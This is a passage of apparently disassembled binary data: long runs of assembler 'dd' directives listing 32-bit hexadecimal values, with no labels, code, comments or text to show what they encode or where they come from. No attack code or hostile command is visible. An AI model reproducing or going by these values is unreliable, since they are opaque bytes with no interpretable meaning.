		dd 0ADF9520Dh, 5EB85C8Ah, 0EE047E16h, 10DCFEF8h, 1316CD6Dh
		dd 451AFB61h, 103833B8h, 0FA8DA362h, 8B5615BFh,	600A3D88h
		dd 5E0D4195h, 28F58508h, 0FF75F107h, 24432FCBh,	14318616h
		dd 3CCEE86Ch, 648D4581h, 0BC7FF24Ch, 0D165CC75h, 68E300C1h
		dd 0EC80ECDAh, 0A29D13C9h, 80FCDCC1h, 1BEE7506h, 6A520E09h
		dd 946CE08Ah, 94EB262Bh, 1B168746h, 1E509690h, 53013D8h
		dd 0D63E0BC3h, 2ED0C389h, 47A9A65Ch, 99218376h,	6AB723D7h
		dd 0A15FF299h, 5A68050h, 71BEC1Eh, 76113E2Fh, 0AC833587h
		dd 0A7026E05h, 0EA4279Dh, 0DD3F1B90h, 0AACA61F4h, 18741DDEh
		dd 0F035FE98h, 6F2FD678h, 6C6C5876h, 0C238828Fh, 0CEEBC80Ah
		dd 0C687B391h, 9CA27EBFh, 160236FCh, 68A98C5Dh,	0ED7FC965h
		dd 21FFBBC2h, 82C92220h, 0C7610F5h, 1D375D6h, 504C1351h
		dd 0F45A74A0h, 0F19B87C2h, 0F072D178h, 0AAD338F7h, 2126B25Fh
		dd 0D5C99517h, 0F660B158h, 0FFB004AFh, 586429A0h, 0E6C7B76Eh
		dd 67CA7914h, 6C34F8Ah,	3836A31Ah, 0DA7ADA92h, 1D50C233h
		dd 889E3556h, 5AB04ED3h, 44E2030Ch, 0C8C61877h,	1E0BE527h
		dd 0CBCC97D4h, 826EFAB4h, 929F3BC5h, 0E5A28F2Ch, 0DD7CC03Ah
		dd 0E2F89600h, 0ED80C0EAh, 0CB7D7BDBh, 8F76020Dh, 46D7506Ah
		dd 90E4C903h, 94774D40h, 1529492Ch, 0F34F1E9Bh,	0FB7BA6BFh
		dd 16C5C393h, 0A6D489C4h, 0CDF7E10Ah, 0A10B9F83h, 7C9A388h
		dd 44B78A53h, 205A1BE7h, 0FF1AE44Bh, 0A168020h,	158431A4h
		dd 0DE28DFECh, 8F37A9h,	0A7A4A9F9h, 29783259h, 0DE197223h
		dd 38011BD5h, 4283979Ah, 2F850041h, 139C5686h, 79463346h
		dd 0B9932407h, 6F3D1366h, 4E094F73h, 0D7F4AB38h, 81F2AB46h
		dd 0D7726C85h, 0E53E83BAh, 0A9109D4h, 0B15D89F3h, 44D609DBh
		dd 880FA934h, 0D776BA68h, 8E521B39h, 84D1F447h,	0C51CC950h
		dd 0ED53706Fh, 3D4EC5F7h, 87098407h, 0D1B266D8h, 56015290h
		dd 54C555B7h, 997DE7F2h, 814FF205h, 0E10EF2B6h,	0F88A2771h
		dd 74D85674h, 1CE913F5h, 0D926E444h, 0CC1C113Ah, 0B4A7EB96h
		dd 2BCA3EF6h, 0B74DC0D9h, 417BB6B3h, 0AD64AEA5h, 0BC6F70F8h
		dd 5790CC8Ch, 0A5CC7F8Dh, 0B398E42h, 15AAAC6Dh,	0E1582E70h
		dd 0BD6C5183h, 416A2847h, 0F319267Bh, 92C2F6F6h, 9191915Bh
		dd 75C5625Dh, 0E45302CFh, 9F61579Dh, 0E12CA8A4h, 4F1AE8F6h
		dd 3242FE61h, 1E9C39C4h, 0D468714Eh, 0B8145C71h, 4D28034h
		dd 0B2301831h, 646D1CA5h, 81B8D3DAh, 109A996h, 0E353867Dh
		dd 0F0229E13h, 205DF590h, 1158B408h, 0DC34A84Bh, 9EF99FA1h
		dd 0A964D291h, 0B00C8132h
		dd 9E5FEh, 559E623h, 1FB075B4h,	8A2D06FCh, 623FE2D5h, 8868D706h
		dd 104244E5h, 0B083248Dh, 0E4B13FA8h, 106FED35h, 83B68FCEh
		dd 5C73EB11h, 0ABBB07B9h, 53ED75ADh, 5FEF5D23h,	0B054F025h
		dd 0DAC7130h, 0F7BDAA9Dh, 0C26DF7ADh, 94394B98h, 78395728h
		dd 642D1C09h, 5FB9CBA7h, 6B1AC2E0h, 0BD3C4AC4h,	67AABA4Ch
		dd 4348597Dh, 474E3D62h, 8C34D047h, 0BB17FE9Bh,	0ABA4B39h
		dd 3A38424Fh, 0C1ABB117h, 0D7D8106Ah, 0D0CFF26Fh, 5DF044FCh
		dd 1627CD26h, 0F906B229h, 3D199EAFh, 55C66A92h,	0C3E5AD42h
		dd 903D07E5h, 0D7D2901Bh, 19C07BF2h, 5DE2393Ch,	0DC3D7F9Ch
		dd 2AFE437Eh, 0D0AE6F37h, 0E4D62283h, 655AA304h, 21135088h
		dd 0B203EAAAh, 0DD49E3F9h, 0B2BABFDCh, 1C664DB2h, 0A4F23016h
		dd 2C5AE8CEh, 0EF2EC2E7h, 6C9FA64Ch, 93DEAE05h,	87B0BCB9h
		dd 0D59B5812h, 328DEDD6h, 2DF80193h, 2A35FD7Bh,	86F3412Ch
		dd 6A41152h, 2E8D0DB4h,	0D586AB53h, 9335C6D3h, 99462B49h
		dd 0C81B7026h, 376E7978h, 0D8EEB0h, 25381359h, 64DB0BF1h
		dd 1E6789C7h, 4F5AD7EBh, 0A3083950h, 0C547F1B1h, 0FE656B24h
		dd 9CD2773Ah, 1B683AA1h, 0A49FD68Dh, 0E0486592h, 0C800A4F8h
		dd 0C6C79D0Eh, 7005E3B0h, 0FED7D508h, 5059E1FDh, 3589E959h
		dd 13FDB630h, 0F2C2883Fh, 0B53E3B55h, 0A8D59692h, 0E4A8EEBAh
		dd 8C76A538h, 210506D8h, 0F195D5h, 79346243h, 8948622Bh
		dd 0E5BA7F05h, 0B710C088h, 0C67325A2h, 43EBA42Bh, 73B83D5Ah
		dd 0A54C27F5h, 29C65263h, 0F2576197h, 8D30D145h, 0EDF9D021h
		dd 0B52A8CC7h, 0BA777B9Bh, 15D8C4FCh, 0F8BF0EDDh, 697758D1h
		dd 0B9BF57D5h, 6EC59697h, 0E087341Ah, 0A1A13B7Fh, 41AB2935h
		dd 58C70470h, 0CB7816E7h, 0B6985623h, 0BA7D5F4Ch, 0CB807CF3h
		dd 4C066CDDh, 949C31E7h, 0C21402CDh, 2C039D99h,	54EFC8Eh
		dd 593C294Bh, 0AC259E13h, 37DFAC66h, 27FA1D9Dh,	482EE89Ah
		dd 81EF58EFh, 0BC9A7278h, 6DF34DD6h, 0EC14F7F0h, 63A0A240h
		dd 8D6E65B7h, 0F7C60F80h, 0FC5F3EC8h, 0E3BF0448h, 1AA445C7h
		dd 4B064E68h, 9CC41F5Ch, 664938FEh, 0CEB793B9h,	80FE702Ch
		dd 0DC01979Ch, 9E43019Ah, 43D36A0Bh, 3DC264ACh,	0F7E27620h
		dd 0AF7E2B9Eh, 0BDCD4352h, 0A0127B4Ch, 0A9E93F2Ah, 0F95EA80Dh
		dd 0F4273CDAh, 561E76DAh, 0E19BAAF2h, 0C5D63205h, 0FD010930h
		dd 8294351Fh, 9AB24103h, 0D6794AB6h, 804956A9h,	87C7DC27h
		dd 0ADB0BA1Ah, 0ADA97641h, 53F5965h, 8FB3AE62h,	0E507455h
		dd 17940310h, 1EB8B328h, 28BF595Bh, 79BF203Fh, 6980E0BCh
		dd 941ECCF9h, 0DCD7B561h, 0C7BC5210h, 0A4C8911Ch, 0ACC90876h
		dd 3DB5B9D2h, 0B3B6079h, 0E7B39AFAh, 0EF0BEA56h, 0F2E0367Dh
		dd 142FE4EDh, 5066C606h, 158790E1h, 70C7792Dh, 7F3BA5A4h
		dd 0ED15D1Fh, 2B15FA83h, 654A03BFh, 9F5A8CF2h, 261021CCh
		dd 213B071Bh, 0C4FC2DDBh, 0A177C0B6h, 0FD730DC2h, 4FC41C7Fh
		dd 966E4BDh, 0D769A65Fh, 0A053E444h, 555C4F88h,	69EEBC7Ah
		dd 8F247CAAh, 69AB4C1Ch, 6E967ABDh, 8DFF922Ah, 92958E19h
		dd 5CBD44F2h, 7A7ADD26h, 625743E3h, 0DC10DA64h,	0E4AD10DDh
		dd 4380B610h, 0A5266632h, 74A56BCEh, 0D5AEB281h, 81C1189Ah
		dd 0CB1820F7h, 0EA38C88h, 0A5636F2Ah, 0AACA501Dh, 2A0E5426h
		dd 288F65A6h, 0BF57735Fh, 0C72264FDh, 0A3B02E96h, 4A6EECF3h
		dd 0A6D53A11h, 0EFC5F811h, 9F9CB81Ah, 0F4998CAh, 0CE352839h
		dd 951DC71Ch, 0D97A4888h, 96E5358h, 4C63DF09h, 0B162CAC2h
		dd 21F06952h, 4F45423h,	544E1B24h, 64EC0A17h, 91D76F32h
		dd 0BEFBF56Ch, 78AB087Eh, 7606FEFFh, 1A0F59BBh,	21C02DD0h
		dd 0D97DDE69h, 49E16DFEh, 0C955EBAh, 259EC5E6h,	26572D91h
		dd 2F58E57Ah, 5B9A15ADh, 6DBC5306h, 4B0519Eh, 0B14099B2h
		dd 1E33CE84h, 8B62A00Dh, 0EC182A79h, 2A1F5C50h,	0C5355282h
		dd 0F657BC51h, 26A04285h, 75A7937Bh, 0D0D42C82h, 0D49CEABEh
		dd 74F25C3Ch, 56362F2h,	51E765CBh, 0E71B1D90h, 0D618AB9Ch
		dd 92A2D1FCh, 41B925C9h, 0AB1D891Bh, 3CA6DDD1h,	7A628960h
		dd 0B588531Ah, 0DC86C137h, 5E4EF83Ah, 5BBE85Bh,	49C60AEBh
		dd 0FC9ED854h, 0C0DB2F45h, 45A8B1B1h, 2AE95DFCh, 0CA18FD0Bh
		dd 94619AF1h, 0DC369277h, 993A7CE2h, 7761E15Ah,	0BE38D400h
		dd 0DBA84AE7h, 89F4260Ah, 3BE35B45h, 0D2BE2363h, 53B53C49h
		dd 0CC1BA8A4h, 38A7B388h, 3C2FF369h, 0FE20C089h, 256CF814h
		dd 0D02D21DDh, 46E5321Fh, 0BB6E1521h, 0EF4AC3B4h, 4A7F01A5h
		dd 0BD460C3Fh, 945A8EACh, 3A70FE25h, 0BE1090F2h, 977ACBCBh
		dd 5B430F15h, 0CCA49FF7h, 84BAB621h, 0AF11A131h, 0D4D98D4Bh
		dd 0F77A9F0Ch, 0ED9FD16h, 473DD378h, 0F491FFC7h, 15FC6593h
		dd 3F603E6Ah, 0FF11BBC4h, 0DDDE6C91h, 0FC4AF5CAh, 3A5D8BFDh
		dd 9A30447Eh, 0D1DEE599h, 2CBCE8A1h, 0AAD049CAh, 0CBAF1102h
		dd 4C9A7E58h, 4E9EF18Dh, 0F6853DFEh, 0C9C7CFEEh, 0FC151666h
		dd 53826FFh, 52781F94h,	1F943A6Dh, 308C627h, 0FD59B3FBh
		dd 0DD23DF2Bh, 0F74CFF59h, 18D6F0C3h, 3AD40C5Ah, 923CBEA8h
		dd 0D8EEC5Eh, 104D3350h, 0DA03239h, 0BA571667h,	90295149h
		dd 9744CA6Bh, 0F7E3025Bh, 0F5AA3437h, 0DC225D98h, 41BC14C5h
		dd 3A3A94D4h, 34A3C71Ch, 0A51BB875h, 1919B700h,	9DDB0D37h
		dd 0FCD888E7h, 548216A5h, 9A2C02BCh, 21DD8043h,	0DA544EC2h
		dd 498BF7F6h, 0AD8CF9FFh, 0E06E7281h, 0D69A4E7Eh, 1FEF9E50h
		dd 8F3B37B7h, 8F8062EAh, 83EBAC66h, 3780AC4Eh, 7CBB9269h
		dd 6B258046h, 0C7158181h, 0D0FA84A2h, 0E143001h, 6448889Fh
		dd 11AAB0B2h, 0B3624EDDh, 0ECD1F540h, 56DF6E3Fh, 0F0B5A947h
		dd 0B8FFE574h, 173C430h, 5A5380E2h, 33822507h, 42E3A510h
		dd 1A7DED25h, 5F6B9969h, 6486FBF3h, 0E504CAAEh,	3E2A3FADh
		dd 0DB111B5h, 6A1F44ACh, 7DE47C30h, 51A1EC58h, 33241A87h
		dd 0C6E5EDEDh, 548F700Eh, 84F6F5E5h, 56EBC853h,	7E94B696h
		dd 0BD62DF67h, 0FBB0658Ah, 0B13427BEh, 0AFBD1C11h, 86EFE414h
		dd 18825F18h, 39BD5882h, 6D228FA7h, 0E86F90Fh, 87188B04h
		dd 65B88069h, 0DDDF8B2Ch, 20FEB524h, 0B7363B32h, 31EBB19Bh
		dd 0AA60BF0Fh, 51025293h, 0DE5A9453h, 0A04D0B44h, 8806E3EDh
		dd 863F8652h, 0BD4D4ADh, 588DEAB9h, 0C3F7748Bh,	0F8DAA5C7h
		dd 23BF9020h, 7ABD93EEh, 0A51962FBh, 0D4167C0Dh, 0B0A74D04h
		dd 89BF09EAh, 768A128Eh, 0C82C1326h, 4122C616h,	4F61833h
		dd 0DA0DF986h, 5CE4FBDBh, 5E659E2Bh, 2D7EB19Ah,	1288794Ch
		dd 7C6284C8h, 0B243B1F5h, 2BDC43BFh, 7B91057Ah,	0D72A34F6h
		dd 17149E4h, 7AE46109h,	0FD7E054Fh, 0C1B1397Eh,	14BC3B48h
		dd 3A97E8D4h, 87071BF3h, 0BC36BA13h, 0C486856Bh, 74E6DED5h
		dd 85E237D9h, 0A5D02BA2h, 59CEDB9Ch, 84D81AE4h,	6AAE8B08h
		dd 0E0085AC8h, 96CB8AA5h, 0E9060948h, 0B6CEC3Fh, 0BA0E3C9Bh
		dd 74FECA75h, 0E26175DCh, 6F97F701h, 17A9DBB6h,	0F889F083h
		dd 710F4209h, 0BE7201F1h, 3C6CF93Ah, 0D8CCAE62h, 8EF11939h
		dd 0A5913371h, 512A2D9Dh, 57F6545Ah, 586BC976h,	946DABEDh
		dd 60F55DFCh, 0F9501D6Ch, 0E9B6FEE5h, 0C8895696h, 87DB114Bh
		dd 318AC34Fh, 0AB42D4A8h, 9EB3D5BAh, 10300CE7h,	8FFB51C6h
		dd 0B448D66Dh, 0F028C640h, 55BD308Ah, 6A93E895h, 8B8D1244h
		dd 0ED567D2Ah
		dd 0ED70B08Eh, 5B74FED3h, 70CD9412h, 17C6BC5Bh,	43E05909h
		dd 135EC096h, 2863FCDCh, 3B5D9452h, 789EE583h, 71445D6Dh
		dd 598FD4BCh, 0A5AEC3D2h, 498DEE4h, 0AD6B010h, 4086FBFCh
		dd 426A5C00h, 38C8F446h, 0D546D1CEh, 0EE3F6068h, 3BB2C9A9h
		dd 0AC8E59Eh, 3F67565Eh, 0DB0725B1h, 6EF2EB24h,	0C6746C46h
		dd 91A906B3h, 0D7DC292Bh, 21E71D65h, 0BC00A2A7h, 6455E894h
		dd 7DFE0AE2h, 272A4B8Dh, 0F5FC5984h, 71E2851Dh,	0B1925525h
		dd 0CF113299h, 8248BBCDh, 568028BBh, 563D1EBEh,	79FD5C47h
		dd 455EF318h, 21226E42h, 1AC88CFDh, 3446FB10h, 0F8608A47h
		dd 1B7D5613h, 6D6EA3B0h, 56A764EEh, 7E0A4566h, 1D0F34BAh
		dd 0E201EE75h, 2B12393h, 4D88BE8Ah, 0C844D995h,	0C588BFh
		dd 7F9DED3Ch, 0CBDB9FE0h, 0FCA06EBDh, 9570041Fh, 3896031h
		dd 62AFFE06h, 688E4E9Ah, 91A910CFh, 0BB63826Ch,	0B48879F4h
		dd 1A5h, 4563BBBEh, 0B59058B5h,	917AD86Eh, 0CD727EA8h
		dd 395D2318h, 0AA6C473Ch, 8641D761h, 0AB940E3Fh, 0C2C1A9D2h
		dd 4F76E8E5h, 8C3F77FAh, 947308E3h, 0DB92DD57h,	0C4E674B4h
		dd 7D8A92D2h, 0D92CD067h, 6021F4B7h, 2C18A30h, 0D5B6B13Fh
		dd 0F91983EAh, 0F7ADB9D4h, 4B0219DEh, 54313E7Bh, 355CC65Dh
		dd 0B106286Ah, 0B9D7CC7Eh, 6A45AFF5h, 7F2F3E13h, 528D6A55h
		dd 0CA5527ACh, 69E1BD46h, 56F92112h, 1A82861Ah,	0AB01FE3Ch
		dd 0AA2FB6C9h, 107D6590h, 93601F81h, 0ABD4DB96h, 5E93F9C5h
		dd 0D0E1C187h, 847BE5F5h, 9143ABCAh, 27AAF7ADh,	1686F46h
		dd 16FB275h, 46D5AC20h,	0B4B2E6ADh, 7CBCC122h, 73C9B3ABh
		dd 121CF5CAh, 30FB6616h, 0C5ACAD47h, 211A6FE5h,	0C755E280h
		dd 1E487D6Dh, 532414A8h, 28B741B0h, 0D74BED58h,	3DB7BF64h
		dd 26190E83h, 0C2EEA5B7h, 0C33D833Ch, 80820069h, 7B38B241h
		dd 653AC393h, 1702E85Eh, 726733C9h, 0C2511808h,	7FFCAE04h
		dd 4FFA92B0h, 2FA7492Fh, 1E852D51h, 0E2C10F3Eh,	8890F65h
		dd 8986975h, 4A2C110Eh,	8DCF4940h, 0EF40B86Fh, 0F076F85Ch
		dd 0E058D067h, 4A80AE9Fh, 0BACCF77Ah, 7FF98541h, 0DACA8E34h
		dd 63DFCDF4h, 47288C65h, 3C85807Ch, 0A50BC3BFh,	880FD6D2h
		dd 7F7B0203h, 0E421AF36h, 8DB5E7DDh, 0A82843FBh, 0CEECBFB2h
		dd 0AB96B1EBh, 0F4830079h, 1E6869EDh, 0EEAEBEF4h, 0DC611E72h
		dd 639695EAh, 0BC99B5D7h, 0E23AB9BAh, 45C82CEFh, 6F5D2395h
		dd 0C435A43Eh, 0C1F5A0BEh, 10CDCBD1h, 756D4EC2h, 0D316E9F7h
		dd 3CC420C2h, 0F900BD4Eh, 36A4BD94h, 5684809h, 7B44E3ADh
		dd 6AD28580h, 180BBD13h, 0AC9714C6h, 0B45BD5BCh, 0C5448CA6h
		dd 0A71DFD46h, 7483021Bh, 0F5DBC153h, 33D62D15h, 61B06325h
		dd 734EE29Bh, 0A51F9BDCh, 7081A241h, 21EFFE85h,	56E26F39h
		dd 0DA1DB29Dh, 2BBA821Eh, 66CC6207h, 3F68ADC9h,	0F5B9E179h
		dd 0B3266E03h, 769AA710h, 3F2B21CBh, 64FD06FDh,	0CF317FF1h
		dd 0C09595D2h, 9F16BBB5h, 0F07BE147h, 0F6FE2969h, 5AF79432h
		dd 0A4A01AE0h, 9135F814h, 65AF788Dh, 0CC1B8157h, 256C28BDh
		dd 8670F87Eh, 471DE612h, 51BFDADCh, 650FCD9Ch, 0E4947893h
		dd 9AD4BD9Ah, 141B0373h, 0C7273B40h, 0FB74829Ah, 0B219BD6Ah
		dd 2D51C798h, 9B0C29F3h, 0CB623BA6h, 0C34618A4h, 95422C24h
		dd 32025FD6h, 0C8CE2891h, 8517E043h, 4019A5E1h,	4C3A908Ch
		dd 0F288F60h, 0E217E64Dh, 749C0028h, 0CEFB3879h, 0A441D007h
		dd 0E443581Ch, 744739B6h, 0C4DFF7D2h, 2071350h,	1CE01323h
		dd 0A423A0DBh, 0FA009629h, 0A2297D06h, 2C64CCCFh, 0F6C9AB81h
		dd 2ACFDFC1h, 29882300h, 51C3CB6h, 33057BA7h, 624217A3h
		dd 4228C22Ah, 8C7918FBh, 1CFDC2A8h, 0A9E53856h,	0EECA0A4Bh
		dd 6ED1558Ch, 0AED9AB5Ch, 10140F9Ah, 11E2A4C0h,	98DE5620h
		dd 5D8B4F99h, 9CB9906Bh, 5287FC6Ch, 0F1C224CAh,	0E719F151h
		dd 0DF35B1B9h, 0F714FF6h, 0CE1AD82h, 386B49ABh,	0F188F682h
		dd 80DB166h, 612D341Dh,	0F909A834h, 0F5CCF9C2h,	1913DDDEh
		dd 25EBA1Dh, 0D1C8BD1Fh, 3F8136D9h, 0AC2087FBh,	96CA3465h
		dd 19AD309Ch, 3E1547CBh, 6710F681h, 62F87F1Ch, 8D8C3E09h
		dd 0E1295605h, 3E625385h, 0F7387A0Bh, 6C0E46BDh, 8753DE71h
		dd 980EF0DCh, 0B03240A0h, 4231814Fh, 7CDDBBA8h,	78052E5Ch
		dd 0B2FF0191h, 353FA6D4h, 0E00CECBEh, 669C3644h, 58FC9842h
		dd 485EFF04h, 0EF91CFDEh, 2AA42A39h, 6413BC9Fh,	5E96E8F6h
		dd 1BA9AE78h, 9A0B27A2h, 34EB073Ah, 6C7B3A38h, 0AB551726h
		dd 7EF4F967h, 0E6BA7601h, 0A6B8FCFBh, 0C8BDD7CCh, 333C212Ch
		dd 63507C4Bh, 926C4E13h, 8C12CF6Ah, 78D82EB0h, 7F6AF07Ah
		dd 7A683956h, 2BAD6785h, 38A710FAh, 46D5D82Eh, 91839B99h
		dd 0B1E7AA3Eh, 0AF8D5F63h, 374AB41Ah, 0DE6B9731h, 51785097h
		dd 89809990h, 0ED7DB3D2h, 0BA54356Ah, 54A3AC9Ah, 0CA327980h
		dd 4445D652h, 0FE14EF3Fh, 0B7BEC20Dh, 0B38D40E0h, 15C43B4Ah
		dd 0AC1D1D50h, 40D3D005h, 25E7EC0Bh, 0AA3EB021h, 335C687h
		dd 8830B036h, 884527B9h, 768E0A4Fh, 0F7BA10A7h,	41E482E6h
		dd 4D965557h, 0B31AA289h, 0C469F6Dh, 0C9807D83h, 5968C1CDh
		dd 37206596h, 8932DB3Eh, 4AEAC8B1h, 46532B2Ch, 962DAC4Dh
		dd 0A89C44CBh, 0A958447h, 0E539770Ah, 0C7BE2AB8h, 0ABABFA57h
		dd 0D0C63109h, 456BB0BAh, 0C9C6CD9Eh, 0F3291E73h, 0B6E642FDh
		dd 4F186A00h, 6A63D668h, 0C36A99B4h, 68B1B05Dh,	54452057h
		dd 0D4DEA854h, 0FBE0C7B1h, 0FBB6B39Eh, 0E4A9F222h, 0F021D5B0h
		dd 0B7A34B23h, 6B702E9Dh, 0FBCD8A44h, 4229D11Fh, 597ADC7Eh
		dd 0D3B64E94h, 0FAFE2A13h, 0C779487Fh, 5E6D8468h, 0F130B764h
		dd 0D86D38D5h, 0C8828208h, 0B982D4D5h, 911816D7h, 0BE91AE61h
		dd 85A5E5D2h, 9D912FE8h, 6C4F3003h, 45C07BC9h, 89921BF8h
		dd 1E8C3203h, 0D2DCD85Bh, 0FD4C67FCh, 87B6BD1Fh, 14E0DDA8h
		dd 0A8E66907h, 58BB0A3Fh, 71238990h, 0A308321Dh, 0A4A8F9C2h
		dd 1C7C8946h, 0F173D42Bh, 683139CDh, 0E788E944h, 0D72E4923h
		dd 0B5A4D82Eh, 364787AEh, 47D0F3FEh, 0D493AC04h, 3149F667h
		dd 0B76E84DAh, 5D0F911Dh, 1901B9B0h, 0EC1CDECFh, 9062BF68h
		dd 0D78D5ADCh, 0FC169B44h, 0C56C3B1Eh, 4AC053EBh, 5F0936FDh
		dd 627A4496h, 0F3E57C19h, 205E41F6h, 29D00F57h,	746B13CCh
		dd 0D400D77Ch, 4A210860h, 971548B2h, 0C5F2BF32h, 5E6EBB43h
		dd 388C9F84h, 0EA31BF07h, 1652A4Eh, 82B948C1h, 5A7288CFh
		dd 2B8599DBh, 0D57306EAh, 0C2879619h, 6546C49Fh, 6C5E165Ch
		dd 0D0B72354h, 56AFFF56h, 7C9CE695h, 0D9C1C7Fh,	718F7CDEh
		dd 70E70AFDh, 5A0BC7h, 0E2555A36h, 0F3609F11h, 9DF7A01Ah
		dd 0D9C31218h, 0AD2D56F6h, 0E963B549h, 9BC65BADh, 0C7F99936h
		dd 0BD2CE3DAh, 0ED2BC2A7h, 0C3D0BEA3h, 0A4D43A7Eh, 99843DA8h
		dd 0D22E8609h, 5B0A4726h, 0F72307FCh, 65324732h, 0E9216166h
		dd 8C39BEC3h, 0A491DBA8h, 66A07DA2h, 0F448F8BAh, 1978B8AEh
		dd 30EEFA92h, 3942A197h, 1D541B67h, 3D45F47Dh, 0F2890CD9h
		dd 0B1DD77E6h, 21494C4Ah, 0FA2A97D4h, 3889C9CAh, 0CC9A8054h
		dd 0D6DA9F0Ch, 0AB76E61Ah, 0BC144283h, 0E4AA15A6h, 0CCC6DDE7h
		dd 0B036CBF4h, 3A31AD74h, 0B3675812h, 0FE4EABD9h, 83EEF0C6h
		dd 65CDE04Fh, 9B8CE011h, 12F32BCDh, 43FA6A8h, 14CD1C48h
		dd 7AB665F3h, 362A0F94h
		dd 33242539h, 0D461125Ch, 0D9C166AEh, 0F83307C8h, 0E8D94074h
		dd 0EE7B2A48h, 0C25F1589h, 120DCC90h, 47CBDA0Fh, 1E5440E0h
		dd 11875386h, 0CF9AC4CCh, 8A92B726h, 47368CC4h,	3F059936h
		dd 0D89EBFAAh, 0DDB933h, 0D62A620h, 0BFD0061Ah,	53B7D8Dh
		dd 1555D8EAh, 7EA99C8h,	7098713Ch, 0E870EDFAh, 0F5D843AAh
		dd 0F5717B5Fh, 2ECB1545h, 3A5541E3h, 0C1B1DC2Ah, 36994C21h
		dd 0E804AB5Ah, 0B40D3C3Ah, 21EB7EF7h, 0D09AFAD8h, 0D725F444h
		dd 9097392Ah, 2E5BE859h, 0B74FFF0Fh, 7C9DCA58h,	0CBD8DF31h
		dd 8819F60Eh, 96118933h, 143F38B9h, 9C017C15h, 442431B0h
		dd 6EC72AA7h, 9FABF521h, 9FADEDB4h, 7FD5E7A9h, 460FD534h
		dd 0FCAC479Ah, 0B56A70F0h, 0BD8F3689h, 0B491EA34h, 0B10D77E9h
		dd 0AE3628F8h, 0C1923D48h, 0CE448071h, 829CB1D8h, 2271D622h
		dd 2239122Ch, 93DC2733h, 9C7B338Bh, 31132D14h, 0BA9BAA0Bh
		dd 0C82E37C7h, 0A94F6394h, 471F6971h, 8118290h,	7E257038h
		dd 8FE724C9h, 93EA0DFFh, 5F33AFC7h, 3C285A11h, 86C81294h
		dd 55E5BEEh, 1311707Ah,	5F811750h, 36331BE1h, 5D1BF27Ch
		dd 0B9F7A8E9h, 128DCCC8h, 89DEE597h, 0C59E5D2Ah, 1B15B391h
		dd 0FDEDA93Ah, 0B2D2E682h, 61A54A65h, 7A25302Dh, 154794Dh
		dd 1DDB6205h, 5E6A1616h, 45643B3h, 81420973h, 9997EB71h
		dd 0A83BDFCCh, 1FA8706h, 0A98E766Eh, 0B3F4724Ch, 0B60C7178h
		dd 0E1D206EFh, 2CD0456Bh, 0F31EA64Fh, 41FCE1B3h, 0C519D635h
		dd 14B0907Dh, 0EAF3A8CBh, 0FDB044AFh, 0B9A71E91h, 10C5A878h
		dd 52F09DFBh, 273A639Eh, 148F415Eh, 5F75E20Fh, 19A27102h
		dd 18AD2FC1h, 2EA02142h, 0D7635E2Dh, 84B318C7h,	9A5DE34Fh
		dd 4B2830ACh, 0ED87D482h, 1198B355h, 3B01EA94h,	43A98577h
		dd 0EBB71402h, 0E400CC1Dh, 6BE08C3Bh, 10219DB3h, 7D49ED5Ch
		dd 0CC5B9917h, 3A3C660h, 0C27BD634h, 255E235Dh,	861AF613h
		dd 6C770C01h, 0FE2ED6B7h, 47A94676h, 692F06EAh,	3EF61496h
		dd 993EFB83h, 0FC321D35h, 5B787EDFh, 679F3E16h,	5DBA1EA1h
		dd 8441DFDCh, 4E57C26h,	0E230C711h, 40E3C7ABh, 9E67C44h
		dd 0DA894807h, 3BA9CAB4h, 0AAFB8E29h, 0CB37C759h, 0A225DF1Fh
		dd 6E796B02h, 0AFFFF740h, 0C6D356E0h, 0DFEB70Dh, 7023E83Fh
		dd 46FC375Dh, 0D2B561B9h, 2B3E5C74h, 0E4A71763h, 0D8437979h
		dd 761058BCh, 0CCB6A91h, 12876651h, 944D2D30h, 16EEAC3Eh
		dd 0DCD65DD7h, 71B3D5BFh, 0D3B3680Bh, 468C6C33h, 5221BE2h
		dd 77D18FF3h, 0A0232F18h, 0F1BFFDA9h, 1DCE7961h, 0C62CF46Ch
		dd 0D4784C5h, 0DA5EDC16h, 3894547Bh, 1F0AA910h,	39B5376Eh
		dd 0B4F96C8Ch, 0A40DD7D2h, 8667BD99h, 2AF9EC4Ah, 77054515h
		dd 4BEFBBEh, 70C7A0CEh,	90F2B327h, 89D45030h, 34E7977Ah
		dd 7506AEC8h, 0E3C79124h, 5457E039h, 37D6DE90h,	28B368F1h
		dd 8144C121h, 8DAEB057h, 141F0D55h, 754D49DFh, 4C5ED868h
		dd 56BE5145h, 72AFCD8Ah, 0ADF6AF80h, 44B81942h,	0CD91C818h
		dd 0D4865E63h, 25264A2Fh, 1451EC97h, 0FCE48B13h, 3E89BB47h
		dd 0C89DF482h, 0D5483BE0h, 783E6208h, 24A61DC7h, 0EF563586h
		dd 5AA47773h, 9339B292h, 6743FB6Ch, 0AC1B9ACh, 7621297Eh
		dd 93CDDE64h, 2C74B3DAh, 0FE586F1Dh, 20B7236Bh,	5685668Fh
		dd 4E90074h, 11D664A6h,	79C7B37Eh, 0F2A32CD9h, 82325D77h
		dd 0D9814455h, 0BD791A61h, 0C506F3E6h, 634BE32Dh, 3780EC0Ah
		dd 0D968CBE2h, 0CCA1D86Ch, 699B4FC3h, 1AD0D9C0h, 0D64295FEh
		dd 35747912h, 5D9E6AD7h, 0D27B33CDh, 9518930Eh,	69A65F8Ch
		dd 2D513812h, 0B7DDD647h, 0D69093CBh, 6E7FC956h, 6ED9890Dh
		dd 91FB0BABh, 0E3D43EBFh, 8BE38EBEh, 81D38936h,	93BC5F56h
		dd 393EECA2h, 78D166E2h, 74E52C1Eh, 0D56FD969h,	0D273298h
		dd 0E144AAA4h, 0B6246CDFh, 40841F38h, 7D9636Eh,	0E5542F1Ch
		dd 0CD259813h, 11AF355Ah, 52A2E439h, 2D0E3D5Ch,	708ECD6Eh
		dd 0F4E05FF8h, 3A9800F4h, 6555B22Ch, 765A651Dh,	0B07FB732h
		dd 34B1872Ch, 0F59F723Ah, 0C9C8CECEh, 0A235BE37h, 5A94B73Bh
		dd 651DC5A2h, 0CF89A3F0h, 6DCC4C0Ah, 0CE6C39ECh, 628DDCD1h
		dd 79A20E82h, 0AA0129FDh, 8E9E15A7h, 0D61DCF3Fh, 0CA954A3Fh
		dd 0A78BCA72h, 71DF2C77h, 557780C5h, 6A8272FDh,	3102DA91h
		dd 25897D3Eh, 5D1014Fh,	61CB065Bh, 0E06DDC4Fh, 0A7C4BDF7h
		dd 0A2A22D4Fh, 58EC3308h, 460056B8h, 2FB25C86h,	65F49943h
		dd 0A34BA42Ah, 25183279h, 12CB7BE8h, 94D55CF7h,	30E9610h
